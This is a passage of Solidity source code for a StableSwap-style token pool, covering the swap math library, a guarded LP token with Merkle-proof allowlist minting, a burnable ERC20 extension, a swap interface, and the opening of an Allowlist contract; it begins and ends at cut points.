xp[tokenIndex], "Withdraw exceeds available"); v.newY = getYD(v.preciseA, tokenIndex, xp, v.d1); uint256[] memory xpReduced = new uint256[](xp.length); v.feePerToken = _feePerToken(self); for (uint256 i = 0; i < self.pooledTokens.length; i++) { uint256 xpi = xp[i]; // if i == tokenIndex, dxExpected = xp[i] * d1 / d0 - newY // else dxExpected = xp[i] - (xp[i] * d1 / d0) // xpReduced[i] -= dxExpected * fee / FEE_DENOMINATOR xpReduced[i] = xpi.sub( ( (i == tokenIndex) ? xpi.mul(v.d1).div(v.d0).sub(v.newY) : xpi.sub(xpi.mul(v.d1).div(v.d0)) ).mul(v.feePerToken).div(FEE_DENOMINATOR) ); } uint256 dy = xpReduced[tokenIndex].sub( getYD(v.preciseA, tokenIndex, xpReduced, v.d1) ); dy = dy.sub(1).div(self.tokenPrecisionMultipliers[tokenIndex]); return (dy, v.newY); } /** * @notice Calculate the price of a token in the pool with given * precision-adjusted balances and a particular D. * * @dev This is accomplished via solving the invariant iteratively. * See the StableSwap paper and Curve.fi implementation for further details. * * x_1**2 + x1 * (sum' - (A*n**n - 1) * D / (A * n**n)) = D ** (n + 1) / (n ** (2 * n) * prod' * A) * x_1**2 + b*x_1 = c * x_1 = (x_1**2 + c) / (2*x_1 + b) * * @param a the amplification coefficient * n * (n - 1). See the StableSwap paper for details. * @param tokenIndex Index of token we are calculating for. * @param xp a precision-adjusted set of pool balances. Array should be * the same cardinality as the pool. * @param d the stableswap invariant * @return the price of the token, in the same precision as in xp */ function getYD( uint256 a, uint8 tokenIndex, uint256[] memory xp, uint256 d ) internal pure returns (uint256) { uint256 numTokens = xp.length; require(tokenIndex < numTokens, "Token not found"); uint256 c = d; uint256 s; uint256 nA = a.mul(numTokens); for (uint256 i = 0; i < numTokens; i++) { if (i != tokenIndex) { s = s.add(xp[i]); c = c.mul(d).div(xp[i].mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // c = c * D * D * D * ... overflow! } } c = c.mul(d).mul(A_PRECISION).div(nA.mul(numTokens)); uint256 b = s.add(d.mul(A_PRECISION).div(nA)); uint256 yPrev; uint256 y = d; for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { yPrev = y; y = y.mul(y).add(c).div(y.mul(2).add(b).sub(d)); if (y.within1(yPrev)) { return y; } } revert("Approximation did not converge"); } /** * @notice Get D, the StableSwap invariant, based on a set of balances and a particular A. * @param xp a precision-adjusted set of pool balances. Array should be the same cardinality * as the pool. * @param a the amplification coefficient * n * (n - 1) in A_PRECISION. * See the StableSwap paper for details * @return the invariant, at the precision of the pool */ function getD(uint256[] memory xp, uint256 a) internal pure returns (uint256) { uint256 numTokens = xp.length; uint256 s; for (uint256 i = 0; i < numTokens; i++) { s = s.add(xp[i]); } if (s == 0) { return 0; } uint256 prevD; uint256 d = s; uint256 nA = a.mul(numTokens); for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { uint256 dP = d; for (uint256 j = 0; j < numTokens; j++) { dP = dP.mul(d).div(xp[j].mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // dP = dP * D * D * D * ... overflow! } prevD = d; d = nA.mul(s).div(A_PRECISION).add(dP.mul(numTokens)).mul(d).div( nA.sub(A_PRECISION).mul(d).div(A_PRECISION).add( numTokens.add(1).mul(dP) ) ); if (d.within1(prevD)) { return d; } } // Convergence should occur in 4 loops or less. If this is reached, there may be something wrong // with the pool. If this were to occur repeatedly, LPs should withdraw via `removeLiquidity()` // function which does not rely on D. revert("D does not converge"); } /** * @notice Get D, the StableSwap invariant, based on self Swap struct * @param self Swap struct to read from * @return The invariant, at the precision of the pool */ function getD(Swap storage self) internal view returns (uint256) { return getD(_xp(self), _getAPrecise(self)); } /** * @notice Given a set of balances and precision multipliers, return the * precision-adjusted balances. * * @param balances an array of token balances, in their native precisions. * These should generally correspond with pooled tokens. * * @param precisionMultipliers an array of multipliers, corresponding to * the amounts in the balances array. When multiplied together they * should yield amounts at the pool's precision. * * @return an array of amounts "scaled" to the pool's precision */ function _xp( uint256[] memory balances, uint256[] memory precisionMultipliers ) internal pure returns (uint256[] memory) { uint256 numTokens = balances.length; require( numTokens == precisionMultipliers.length, "Balances must match multipliers" ); uint256[] memory xp = new uint256[](numTokens); for (uint256 i = 0; i < numTokens; i++) { xp[i] = balances[i].mul(precisionMultipliers[i]); } return xp; } /** * @notice Return the precision-adjusted balances of all tokens in the pool * @param self Swap struct to read from * @param balances array of balances to scale * @return balances array "scaled" to the pool's precision, allowing * them to be more easily compared. */ function _xp(Swap storage self, uint256[] memory balances) internal view returns (uint256[] memory) { return _xp(balances, self.tokenPrecisionMultipliers); } /** * @notice Return the precision-adjusted balances of all tokens in the pool * @param self Swap struct to read from * @return the pool balances "scaled" to the pool's precision, allowing * them to be more easily compared. */ function _xp(Swap storage self) internal view returns (uint256[] memory) { return _xp(self.balances, self.tokenPrecisionMultipliers); } /** * @notice Get the virtual price, to help calculate profit * @param self Swap struct to read from * @return the virtual price, scaled to precision of POOL_PRECISION_DECIMALS */ function getVirtualPrice(Swap storage self) external view returns (uint256) { uint256 d = getD(_xp(self), _getAPrecise(self)); uint256 supply = self.lpToken.totalSupply(); if (supply > 0) { return d.mul(10**uint256(ERC20(self.lpToken).decimals())).div(supply); } return 0; } /** * @notice Calculate the new balances of the tokens given the indexes of the token * that is swapped from (FROM) and the token that is swapped to (TO). * This function is used as a helper function to calculate how much TO token * the user should receive on swap. * * @param self Swap struct to read from * @param tokenIndexFrom index of FROM token * @param tokenIndexTo index of TO token * @param x the new total amount of FROM token * @param xp balances of the tokens in the pool * @return the amount of TO token that should remain in the pool */ function getY( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 x, uint256[] memory xp ) internal view returns (uint256) { uint256 numTokens = self.pooledTokens.length; require( tokenIndexFrom != tokenIndexTo, "Can't compare token to itself" ); require( tokenIndexFrom < numTokens && tokenIndexTo < numTokens, "Tokens must be in pool" ); uint256 a = _getAPrecise(self); uint256 d = getD(xp, a); uint256 c = d; uint256 s; uint256 nA = numTokens.mul(a); uint256 _x; for (uint256 i = 0; i < numTokens; i++) { if (i == tokenIndexFrom) { _x = x; } else if (i != tokenIndexTo) { _x = xp[i]; } else { continue; } s = s.add(_x); c = c.mul(d).div(_x.mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // c = c * D * D * D * ... overflow! } c = c.mul(d).mul(A_PRECISION).div(nA.mul(numTokens)); uint256 b = s.add(d.mul(A_PRECISION).div(nA)); uint256 yPrev; uint256 y = d; // iterative approximation for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { yPrev = y; y = y.mul(y).add(c).div(y.mul(2).add(b).sub(d)); if (y.within1(yPrev)) { return y; } } revert("Approximation did not converge"); } /** * @notice Externally calculates a swap between two tokens. * @param self Swap struct to read from * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get */ function calculateSwap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256 dy) { (dy, ) = _calculateSwap(self, tokenIndexFrom, tokenIndexTo, dx); } /** * @notice Internally calculates a swap between two tokens. * * @dev The caller is expected to transfer the actual amounts (dx and dy) * using the token contracts. * * @param self Swap struct to read from * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get * @return dyFee the associated fee */ function _calculateSwap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) internal view returns (uint256 dy, uint256 dyFee) { uint256[] memory xp = _xp(self); require( tokenIndexFrom < xp.length && tokenIndexTo < xp.length, "Token index out of range" ); uint256 x = dx.mul(self.tokenPrecisionMultipliers[tokenIndexFrom]).add( xp[tokenIndexFrom] ); uint256 y = getY(self, tokenIndexFrom, tokenIndexTo, x, xp); dy = xp[tokenIndexTo].sub(y).sub(1); dyFee = dy.mul(self.swapFee).div(FEE_DENOMINATOR); dy = dy.sub(dyFee).div(self.tokenPrecisionMultipliers[tokenIndexTo]); } /** * @notice A simple method to calculate amount of each underlying * tokens that is returned upon burning given amount of * LP tokens * * @param account the address that is removing liquidity. required for withdraw fee calculation * @param amount the amount of LP tokens that would to be burned on * withdrawal * @return array of amounts of tokens user will receive */ function calculateRemoveLiquidity( Swap storage self, address account, uint256 amount ) external view returns (uint256[] memory) { return _calculateRemoveLiquidity(self, account, amount); } function _calculateRemoveLiquidity( Swap storage self, address account, uint256 amount ) internal view returns (uint256[] memory) { uint256 totalSupply = self.lpToken.totalSupply(); require(amount <= totalSupply, "Cannot exceed total supply"); uint256 feeAdjustedAmount = amount .mul( FEE_DENOMINATOR.sub(calculateCurrentWithdrawFee(self, account)) ) .div(FEE_DENOMINATOR); uint256[] memory amounts = new uint256[](self.pooledTokens.length); for (uint256 i = 0; i < self.pooledTokens.length; i++) { amounts[i] = self.balances[i].mul(feeAdjustedAmount).div( totalSupply ); } return amounts; } /** * @notice Calculate the fee that is applied when the given user withdraws. * Withdraw fee decays linearly over 4 weeks. * @param user address you want to calculate withdraw fee of * @return current withdraw fee of the user */ function calculateCurrentWithdrawFee(Swap storage self, address user) public view returns (uint256) { uint256 endTime = self.depositTimestamp[user].add(4 weeks); if (endTime > block.timestamp) { uint256 timeLeftover = endTime.sub(block.timestamp); return self .defaultWithdrawFee .mul(self.withdrawFeeMultiplier[user]) .mul(timeLeftover) .div(4 weeks) .div(FEE_DENOMINATOR); } return 0; } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param self Swap struct to read from * @param account address of the account depositing or withdrawing tokens * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return if deposit was true, total amount of lp token that will be minted and if * deposit was false, total amount of lp token that will be burned */ function calculateTokenAmount( Swap storage self, address account, uint256[] calldata amounts, bool deposit ) external view returns (uint256) { uint256 numTokens = self.pooledTokens.length; uint256 a = _getAPrecise(self); uint256 d0 = getD(_xp(self, self.balances), a); uint256[] memory balances1 = self.balances; for (uint256 i = 0; i < numTokens; i++) { if (deposit) { balances1[i] = balances1[i].add(amounts[i]); } else { balances1[i] = balances1[i].sub( amounts[i], "Cannot withdraw more than available" ); } } uint256 d1 = getD(_xp(self, balances1), a); uint256 totalSupply = self.lpToken.totalSupply(); if (deposit) { return d1.sub(d0).mul(totalSupply).div(d0); } else { return d0.sub(d1).mul(totalSupply).div(d0).mul(FEE_DENOMINATOR).div( FEE_DENOMINATOR.sub( calculateCurrentWithdrawFee(self, account) ) ); } } /** * @notice return accumulated amount of admin fees of the token with given index * @param self Swap struct to read from * @param index Index of the pooled token * @return admin balance in the token's precision */ function getAdminBalance(Swap storage self, uint256 index) external view returns (uint256) { require(index < self.pooledTokens.length, "Token index out of range"); return self.pooledTokens[index].balanceOf(address(this)).sub( self.balances[index] ); } /** * @notice internal helper function to calculate fee per token multiplier used in * swap fee calculations * @param self Swap struct to read from */ function _feePerToken(Swap storage self) internal view returns (uint256) { return self.swapFee.mul(self.pooledTokens.length).div( self.pooledTokens.length.sub(1).mul(4) ); } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice swap two tokens in the pool * @param self Swap struct to read from and write to * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell * @param minDy the min amount the user would like to receive, or revert. * @return amount of token user received on swap */ function swap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) external returns (uint256) { require( dx <= self.pooledTokens[tokenIndexFrom].balanceOf(msg.sender), "Cannot swap more than you own" ); // Transfer tokens first to see if a fee was charged on transfer uint256 beforeBalance = self.pooledTokens[tokenIndexFrom].balanceOf( address(this) ); self.pooledTokens[tokenIndexFrom].safeTransferFrom( msg.sender, address(this), dx ); // Use the actual transferred amount for AMM math uint256 transferredDx = self .pooledTokens[tokenIndexFrom] .balanceOf(address(this)) .sub(beforeBalance); (uint256 dy, uint256 dyFee) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, transferredDx ); require(dy >= minDy, "Swap didn't result in min tokens"); uint256 dyAdminFee = dyFee.mul(self.adminFee).div(FEE_DENOMINATOR).div( self.tokenPrecisionMultipliers[tokenIndexTo] ); self.balances[tokenIndexFrom] = self.balances[tokenIndexFrom].add( transferredDx ); self.balances[tokenIndexTo] = self.balances[tokenIndexTo].sub(dy).sub( dyAdminFee ); self.pooledTokens[tokenIndexTo].safeTransfer(msg.sender, dy); emit TokenSwap( msg.sender, transferredDx, dy, tokenIndexFrom, tokenIndexTo ); return dy; } /** * @notice Add liquidity to the pool * @param self Swap struct to read from and write to * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * @param merkleProof bytes32 array that will be used to prove the existence of the caller's address in the list of * allowed addresses. If the pool is not in the guarded launch phase, this parameter will be ignored. * @return amount of LP token user received */ function addLiquidity( Swap storage self, uint256[] memory amounts, uint256 minToMint, bytes32[] calldata merkleProof ) external returns (uint256) { require( amounts.length == self.pooledTokens.length, "Amounts must match pooled tokens" ); uint256[] memory fees = new uint256[](self.pooledTokens.length); // current state AddLiquidityInfo memory v = AddLiquidityInfo(0, 0, 0, 0); if (self.lpToken.totalSupply() != 0) { v.d0 = getD(self); } uint256[] memory newBalances = self.balances; for (uint256 i = 0; i < self.pooledTokens.length; i++) { require( self.lpToken.totalSupply() != 0 || amounts[i] > 0, "Must supply all tokens in pool" ); // Transfer tokens first to see if a fee was charged on transfer if (amounts[i] != 0) { uint256 beforeBalance = self.pooledTokens[i].balanceOf( address(this) ); self.pooledTokens[i].safeTransferFrom( msg.sender, address(this), amounts[i] ); // Update the amounts[] with actual transfer amount amounts[i] = self.pooledTokens[i].balanceOf(address(this)).sub( beforeBalance ); } newBalances[i] = self.balances[i].add(amounts[i]); } // invariant after change v.preciseA = _getAPrecise(self); v.d1 = getD(_xp(self, newBalances), v.preciseA); require(v.d1 > v.d0, "D should increase"); // updated to reflect fees and calculate the user's LP tokens v.d2 = v.d1; if (self.lpToken.totalSupply() != 0) { uint256 feePerToken = _feePerToken(self); for (uint256 i = 0; i < self.pooledTokens.length; i++) { uint256 idealBalance = v.d1.mul(self.balances[i]).div(v.d0); fees[i] = feePerToken .mul(idealBalance.difference(newBalances[i])) .div(FEE_DENOMINATOR); self.balances[i] = newBalances[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); newBalances[i] = newBalances[i].sub(fees[i]); } v.d2 = getD(_xp(self, newBalances), v.preciseA); } else { // the initial depositor doesn't pay fees self.balances = newBalances; } uint256 toMint; if (self.lpToken.totalSupply() == 0) { toMint = v.d1; } else { toMint = v.d2.sub(v.d0).mul(self.lpToken.totalSupply()).div(v.d0); } require(toMint >= minToMint, "Couldn't mint min requested"); // mint the user's LP tokens self.lpToken.mint(msg.sender, toMint, merkleProof); emit AddLiquidity( msg.sender, amounts, fees, v.d1, self.lpToken.totalSupply() ); return toMint; } /** * @notice Update the withdraw fee for `user`. If the user is currently * not providing liquidity in the pool, sets to default value. If not, recalculate * the starting withdraw fee based on the last deposit's time & amount relative * to the new deposit. * * @param self Swap struct to read from and write to * @param user address of the user depositing tokens * @param toMint amount of pool tokens to be minted */ function updateUserWithdrawFee( Swap storage self, address user, uint256 toMint ) external { _updateUserWithdrawFee(self, user, toMint); } function _updateUserWithdrawFee( Swap storage self, address user, uint256 toMint ) internal { // If token is transferred to address 0 (or burned), don't update the fee. if (user == address(0)) { return; } if (self.defaultWithdrawFee == 0) { // If current fee is set to 0%, set multiplier to FEE_DENOMINATOR self.withdrawFeeMultiplier[user] = FEE_DENOMINATOR; } else { // Otherwise, calculate appropriate discount based on last deposit amount uint256 currentFee = calculateCurrentWithdrawFee(self, user); uint256 currentBalance = self.lpToken.balanceOf(user); // ((currentBalance * currentFee) + (toMint * defaultWithdrawFee)) * FEE_DENOMINATOR / // ((toMint + currentBalance) * defaultWithdrawFee) self.withdrawFeeMultiplier[user] = currentBalance .mul(currentFee) .add(toMint.mul(self.defaultWithdrawFee)) .mul(FEE_DENOMINATOR) .div(toMint.add(currentBalance).mul(self.defaultWithdrawFee)); } self.depositTimestamp[user] = block.timestamp; } /** * @notice Burn LP tokens to remove liquidity from the pool. * @dev Liquidity can always be removed, even when the pool is paused. * @param self Swap struct to read from and write to * @param amount the amount of LP tokens to burn * @param minAmounts the minimum amounts of each token in the pool * acceptable for this burn. Useful as a front-running mitigation * @return amounts of tokens the user received */ function removeLiquidity( Swap storage self, uint256 amount, uint256[] calldata minAmounts ) external returns (uint256[] memory) { require(amount <= self.lpToken.balanceOf(msg.sender), ">LP.balanceOf"); require( minAmounts.length == self.pooledTokens.length, "minAmounts must match poolTokens" ); uint256[] memory amounts = _calculateRemoveLiquidity( self, msg.sender, amount ); for (uint256 i = 0; i < amounts.length; i++) { require(amounts[i] >= minAmounts[i], "amounts[i] < minAmounts[i]"); self.balances[i] = self.balances[i].sub(amounts[i]); self.pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } self.lpToken.burnFrom(msg.sender, amount); emit RemoveLiquidity(msg.sender, amounts, self.lpToken.totalSupply()); return amounts; } /** * @notice Remove liquidity from the pool all in one token. * @param self Swap struct to read from and write to * @param tokenAmount the amount of the lp tokens to burn * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @return amount chosen token that user received */ function removeLiquidityOneToken( Swap storage self, uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount ) external returns (uint256) { uint256 totalSupply = self.lpToken.totalSupply(); uint256 numTokens = self.pooledTokens.length; require( tokenAmount <= self.lpToken.balanceOf(msg.sender), ">LP.balanceOf" ); require(tokenIndex < numTokens, "Token not found"); uint256 dyFee; uint256 dy; (dy, dyFee) = calculateWithdrawOneToken( self, msg.sender, tokenAmount, tokenIndex ); require(dy >= minAmount, "dy < minAmount"); self.balances[tokenIndex] = self.balances[tokenIndex].sub( dy.add(dyFee.mul(self.adminFee).div(FEE_DENOMINATOR)) ); self.lpToken.burnFrom(msg.sender, tokenAmount); self.pooledTokens[tokenIndex].safeTransfer(msg.sender, dy); emit RemoveLiquidityOne( msg.sender, tokenAmount, totalSupply, tokenIndex, dy ); return dy; } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. * * @param self Swap struct to read from and write to * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @return actual amount of LP tokens burned in the withdrawal */ function removeLiquidityImbalance( Swap storage self, uint256[] memory amounts, uint256 maxBurnAmount ) public returns (uint256) { require( amounts.length == self.pooledTokens.length, "Amounts should match pool tokens" ); require( maxBurnAmount <= self.lpToken.balanceOf(msg.sender) && maxBurnAmount != 0, ">LP.balanceOf" ); RemoveLiquidityImbalanceInfo memory v = RemoveLiquidityImbalanceInfo( 0, 0, 0, 0 ); uint256 tokenSupply = self.lpToken.totalSupply(); uint256 feePerToken = _feePerToken(self); uint256[] memory balances1 = self.balances; v.preciseA = _getAPrecise(self); v.d0 = getD(_xp(self), v.preciseA); for (uint256 i = 0; i < self.pooledTokens.length; i++) { balances1[i] = balances1[i].sub( amounts[i], "Cannot withdraw more than available" ); } v.d1 = getD(_xp(self, balances1), v.preciseA); uint256[] memory fees = new uint256[](self.pooledTokens.length); for (uint256 i = 0; i < self.pooledTokens.length; i++) { uint256 idealBalance = v.d1.mul(self.balances[i]).div(v.d0); uint256 difference = idealBalance.difference(balances1[i]); fees[i] = feePerToken.mul(difference).div(FEE_DENOMINATOR); self.balances[i] = balances1[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); balances1[i] = balances1[i].sub(fees[i]); } v.d2 = getD(_xp(self, balances1), v.preciseA); uint256 tokenAmount = v.d0.sub(v.d2).mul(tokenSupply).div(v.d0); require(tokenAmount != 0, "Burnt amount cannot be zero"); tokenAmount = tokenAmount.add(1).mul(FEE_DENOMINATOR).div( FEE_DENOMINATOR.sub(calculateCurrentWithdrawFee(self, msg.sender)) ); require(tokenAmount <= maxBurnAmount, "tokenAmount > maxBurnAmount"); self.lpToken.burnFrom(msg.sender, tokenAmount); for (uint256 i = 0; i < self.pooledTokens.length; i++) { self.pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } emit RemoveLiquidityImbalance( msg.sender, amounts, fees, v.d1, tokenSupply.sub(tokenAmount) ); return tokenAmount; } /** * @notice withdraw all admin fees to a given address * @param self Swap struct to withdraw fees from * @param to Address to send the fees to */ function withdrawAdminFees(Swap storage self, address to) external { for (uint256 i = 0; i < self.pooledTokens.length; i++) { IERC20 token = self.pooledTokens[i]; uint256 balance = token.balanceOf(address(this)).sub( self.balances[i] ); if (balance != 0) { token.safeTransfer(to, balance); } } } /** * @notice Sets the admin fee * @dev adminFee cannot be higher than 100% of the swap fee * @param self Swap struct to update * @param newAdminFee new admin fee to be applied on future transactions */ function setAdminFee(Swap storage self, uint256 newAdminFee) external { require(newAdminFee <= MAX_ADMIN_FEE, "Fee is too high"); self.adminFee = newAdminFee; emit NewAdminFee(newAdminFee); } /** * @notice update the swap fee * @dev fee cannot be higher than 1% of each swap * @param self Swap struct to update * @param newSwapFee new swap fee to be applied on future transactions */ function setSwapFee(Swap storage self, uint256 newSwapFee) external { require(newSwapFee <= MAX_SWAP_FEE, "Fee is too high"); self.swapFee = newSwapFee; emit NewSwapFee(newSwapFee); } /** * @notice update the default withdraw fee. This also affects deposits made in the past as well. * @param self Swap struct to update * @param newWithdrawFee new withdraw fee to be applied */ function setDefaultWithdrawFee(Swap storage self, uint256 newWithdrawFee) external { require(newWithdrawFee <= MAX_WITHDRAW_FEE, "Fee is too high"); self.defaultWithdrawFee = newWithdrawFee; emit NewWithdrawFee(newWithdrawFee); } /** * @notice Start ramping up or down A parameter towards given futureA_ and futureTime_ * Checks if the change is too rapid, and commits the new A value only when it falls under * the limit range. * @param self Swap struct to update * @param futureA_ the new A to ramp towards * @param futureTime_ timestamp when the new A should be reached */ function rampA( Swap storage self, uint256 futureA_, uint256 futureTime_ ) external { require( block.timestamp >= self.initialATime.add(1 days), "Wait 1 day before starting ramp" ); require( futureTime_ >= block.timestamp.add(MIN_RAMP_TIME), "Insufficient ramp time" ); require( futureA_ > 0 && futureA_ < MAX_A, "futureA_ must be > 0 and < MAX_A" ); uint256 initialAPrecise = _getAPrecise(self); uint256 futureAPrecise = futureA_.mul(A_PRECISION); if (futureAPrecise < initialAPrecise) { require( futureAPrecise.mul(MAX_A_CHANGE) >= initialAPrecise, "futureA_ is too small" ); } else { require( futureAPrecise <= initialAPrecise.mul(MAX_A_CHANGE), "futureA_ is too large" ); } self.initialA = initialAPrecise; self.futureA = futureAPrecise; self.initialATime = block.timestamp; self.futureATime = futureTime_; emit RampA( initialAPrecise, futureAPrecise, block.timestamp, futureTime_ ); } /** * @notice Stops ramping A immediately. Once this function is called, rampA() * cannot be called for another 24 hours * @param self Swap struct to update */ function stopRampA(Swap storage self) external { require(self.futureATime > block.timestamp, "Ramp is already stopped"); uint256 currentA = _getAPrecise(self); self.initialA = currentA; self.futureA = currentA; self.initialATime = block.timestamp; self.futureATime = block.timestamp; emit StopRampA(currentA, block.timestamp); } } // SPDX-License-Identifier: MIT // https://etherscan.io/address/0xC28DF698475dEC994BE00C9C9D8658A548e6304F#code pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../interfaces/ISwapGuarded.sol"; /** * @title Liquidity Provider Token * @notice This token is an ERC20 detailed token with added capability to be minted by the owner. * It is used to represent user's shares when providing liquidity to swap contracts. */ contract LPTokenGuarded is ERC20Burnable, Ownable { using SafeMath for uint256; // Address of the swap contract that owns this LP token. When a user adds liquidity to the swap contract, // they receive a proportionate amount of this LPToken. ISwapGuarded public swap; // Maps user account to total number of LPToken minted by them. Used to limit minting during guarded release phase mapping(address => uint256) public mintedAmounts; /** * @notice Deploys LPToken contract with given name, symbol, and decimals * @dev the caller of this constructor will become the owner of this contract * @param name_ name of this token * @param symbol_ symbol of this token * @param decimals_ number of decimals this token will be based on */ constructor( string memory name_, string memory symbol_, uint8 decimals_ ) public ERC20(name_, symbol_) { _setupDecimals(decimals_); swap = ISwapGuarded(_msgSender()); } /** * @notice Mints the given amount of LPToken to the recipient. During the guarded release phase, the total supply * and the maximum number of the tokens that a single account can mint are limited. * @dev only owner can call this mint function * @param recipient address of account to receive the tokens * @param amount amount of tokens to mint * @param merkleProof the bytes32 array data that is used to prove recipient's address exists in the merkle tree * stored in the allowlist contract. If the pool is not guarded, this parameter is ignored. */ function mint( address recipient, uint256 amount, bytes32[] calldata merkleProof ) external onlyOwner { require(amount != 0, "amount == 0"); // If the pool is in the guarded launch phase, the following checks are done to restrict deposits. // 1. Check if the given merkleProof corresponds to the recipient's address in the merkle tree stored in the // allowlist contract. If the account has been already verified, merkleProof is ignored. // 2. Limit the total number of this LPToken minted to recipient as defined by the allowlist contract. // 3. Limit the total supply of this LPToken as defined by the allowlist contract. if (swap.isGuarded()) { IAllowlist allowlist = swap.getAllowlist(); require( allowlist.verifyAddress(recipient, merkleProof), "Invalid merkle proof" ); uint256 totalMinted = mintedAmounts[recipient].add(amount); require( totalMinted <= allowlist.getPoolAccountLimit(address(swap)), "account deposit limit" ); require( totalSupply().add(amount) <= allowlist.getPoolCap(address(swap)), "pool total supply limit" ); mintedAmounts[recipient] = totalMinted; } _mint(recipient, amount); } /** * @dev Overrides ERC20._beforeTokenTransfer() which get called on every transfers including * minting and burning. This ensures that swap.updateUserWithdrawFees are called everytime. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal override(ERC20) { super._beforeTokenTransfer(from, to, amount); swap.updateUserWithdrawFee(to, amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./ERC20.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./IAllowlist.sol"; interface ISwapGuarded { // pool data view functions function getA() external view returns (uint256); function getAllowlist() external view returns (IAllowlist); function getToken(uint8 index) external view returns (IERC20); function getTokenIndex(address tokenAddress) external view returns (uint8); function getTokenBalance(uint8 index) external view returns (uint256); function getVirtualPrice() external view returns (uint256); function isGuarded() external view returns (bool); // min return calculation functions function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256); function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view returns (uint256); function calculateRemoveLiquidity(uint256 amount) external view returns (uint256[] memory); function calculateRemoveLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256 availableTokenAmount); // state modifying functions function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external returns (uint256); function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline, bytes32[] calldata merkleProof ) external returns (uint256); function removeLiquidity( uint256 amount, uint256[] calldata minAmounts, uint256 deadline ) external returns (uint256[] memory); function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external returns (uint256); function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external returns (uint256); // withdraw fee update function function updateUserWithdrawFee(address recipient, uint256 transferAmount) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/cryptography/MerkleProof.sol"; import "../interfaces/IAllowlist.sol"; /** * @title Allowlist * @notice This contract is a registry holding information about how much each swap contract should * contain upto. Swap.sol will rely on this contract to determine whether the pool cap is reached and * also whether a user's deposit limit is reached. */ contract Allowlist is Ownable, IAllowlist { using SafeMath for uint256; // Represents the root node of merkle tree containing a list of eligible addresses bytes32 public merkleRoot; // Maps pool address -> maximum total supply mapping(address => uint256) private poolCaps; // Maps pool address -> maximum amount of pool token mintable per account mapping(address => uint256) private accountLimits; // Maps account address -> boolean value indicating whether it has been checked and verified against the merkle tree mapping(address => bool) private verified; event PoolCap(address indexed poolAddress, uint256 poolCap); event PoolAccountLimit(address indexed poolAddress, uint256 accountLimit); event 